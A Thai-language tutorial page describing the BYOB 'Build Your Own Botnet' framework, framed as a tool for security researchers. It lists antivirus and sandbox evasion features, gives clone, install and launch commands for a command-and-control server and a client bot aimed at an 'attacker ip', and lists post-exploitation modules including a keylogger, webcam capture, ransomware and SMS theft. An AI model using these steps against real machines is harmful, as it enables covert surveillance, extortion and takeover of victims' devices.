Computer >> บทช่วยสอนคอมพิวเตอร์ >  >> การเขียนโปรแกรม >> Python

สร้างบอทเน็ตของคุณเอง (Build Your Own Botnet)

BYOB ให้เฟรมเวิร์กสำหรับนักวิจัยความปลอดภัยและนักพัฒนา เพื่อสร้างและดำเนินการบอทเน็ตพื้นฐาน เพื่อเพิ่มความเข้าใจเกี่ยวกับมัลแวร์ที่ซับซ้อนซึ่งติดเชื้ออุปกรณ์ล้านๆ ทุกปีและสร้างบอทเน็ตสมัยใหม่ เพื่อปรับปรุงความสามารถในการพัฒนามาตรการต่อต้านภัยคุกคามเหล่านี้ ออกแบบมาเพื่อให้นักพัฒนาสามารถนำโค้ดของตนเองไปใช้และเพิ่มฟีเจอร์ใหม่ๆ ได้ง่ายๆ โดยไม่ต้องเขียน RAT หรือเซิร์ฟเวอร์ Command & Control ตั้งแต่ศูนย์

คุณสมบัติ

  • ไม่เขียนอะไรลงดิสก์ - ไคลเอนต์ไม่เคยเขียนอะไรลงดิสก์ แม้แต่ไฟล์ชั่วคราว เนื่องจากการนำเข้าแบบระยะไกลอนุญาตให้โค้ดที่กำหนดเองโหลดไดนามิกลงในหน่วยความจำและนำเข้าโดยตรงเข้ากับกระบวนการที่กำลังทำงานอยู่
  • อิสระจากแพลตฟอร์ม - ทุกอย่างเขียนใน Python และไคลเอนต์ที่สร้างขึ้นสามารถคอมไพล์เป็นไฟล์นำพกได้ (Windows) หรือรวมเป็นแอปพลิเคชันสแตนด์อโลน
  • ข้ามไฟร์วอลล์ - ไคลเอนต์เชื่อมต่อกับเซิร์ฟเวอร์ C&C ผ่านการเชื่อมต่อ TCP แบบย้อนกลับ ซึ่งจะข้ามไฟร์วอลล์ส่วนใหญ่ได้ เนื่องจากการตั้งค่าตัวกรองเริ่มต้นบล็อกการเชื่อมต่อเข้าเป็นหลัก
  • ต่อต้านแอนติไวรัส - หลีกเลี่ยงการถูกวิเคราะห์โดยแอนติไวรัสโดยการบล็อกกระบวนการที่มีชื่อของผลิตภัณฑ์แอนติไวรัสที่รู้จัก
  • เข้ารหัสเพย์โหลดเพื่อป้องกันการวิเคราะห์ - เพย์โหลดหลักของไคลเอนต์ถูกเข้ารหัสด้วยคีย์ 256-bit แบบสุ่มซึ่งมีอยู่เพียงในเพย์โหลดสเตจเกอร์ที่สร้างพร้อมกัน
  • ป้องกันการวิศวกรรมย้อนกลับ - โดยค่าเริ่มต้น ไคลเอนต์จะยุติการทำงานหากตรวจพบเครื่องเสมือนหรือแซนด์บ็อกซ์

วิธีติดตั้ง

  • git clone https://github.com/malwaredllc/byob.git
  • cd byob
  • pip install -r requirements.txt
  • python setup.py
  • ใช้เทอร์มินัลสองตัว: ตัวแรกเป็น Bot Server สำหรับจัดการเซสชัน ตัวที่สองเป็น Bot Client สำหรับสร้างบอท
  • python server.py --port 445
  • เปิดเทอร์มินัลลินุกซ์อีกตัวและพิมพ์ cd /home/cybersecurity/Downloads/byob/byob
  • python client.py --name testbot.py 192.168.1.10(attacker ip) 445

หลังการโจมตี (Post-exploitation)

โมดูลหลังการโจมตีที่สามารถนำเข้าแบบระยะไกลโดยไคลเอนต์หลังจากตั้งค่าบอทเน็ตในเครื่องเหยื่อสำเร็จ:

  • Keylogger: บันทึกแป้นพิมพ์และชื่อหน้าต่าง
  • Screenshot: ถ่ายภาพหน้าจอเดสก์ท็อป
  • Webcam: ดูสตรีมสดหรือจับภาพ/วิดีโอจากเว็บแคม
  • Ransom: เข้ารหัสไฟล์และสร้างกระเป๋า BTC สุ่มสำหรับค่าไถ่
  • Packet Sniffer: รันตัวสนิฟแพ็กเก็ตบนเครือข่ายและอัปโหลดไฟล์ .pcap
  • Persistence: สร้างการคงอยู่บนเครื่องโฮสต์
  • Phone: อ่าน/ค้นหา/อัปโหลดข้อความจากสมาร์ทโฟนของไคลเอนต์
  • Escalate Privileges: พยายามข้าม UAC เพื่อได้สิทธิ์แอดมินไม่ได้รับอนุญาต
  • Port Scanner: สแกนเครือข่ายท้องถิ่นหาอุปกรณ์ออนไลน์และพอร์ตเปิด
  • Process Control: แสดง/ค้นหา/ฆ่า/ติดตามกระบวนการที่ทำงานอยู่